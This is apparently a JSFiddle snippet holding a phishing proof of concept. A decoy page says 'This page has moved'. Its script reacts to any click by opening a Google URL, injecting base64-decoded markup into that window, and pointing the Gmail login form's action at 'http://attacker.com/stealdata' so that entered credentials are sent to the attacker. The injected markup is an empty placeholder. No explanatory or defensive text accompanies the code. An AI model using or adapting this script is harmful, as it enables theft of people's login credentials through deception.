JSFiddle - React, Tailwind, and code Playground

HTML

<body>
<script>
var gmail = '';

window.onclick = function(){
  var x = window.open('https://www.google.com/csi')
  setTimeout(function(){
    x.document.body.innerHTML = atob(gmail);
    var form = x.document.querySelector('form#gaia_loginform');
    form.setAttribute('action', 'http://attacker.com/stealdata')
  }, 700);
}

</script>

This page has moved. <a href='#'>Click here to be redirected</a>
</body>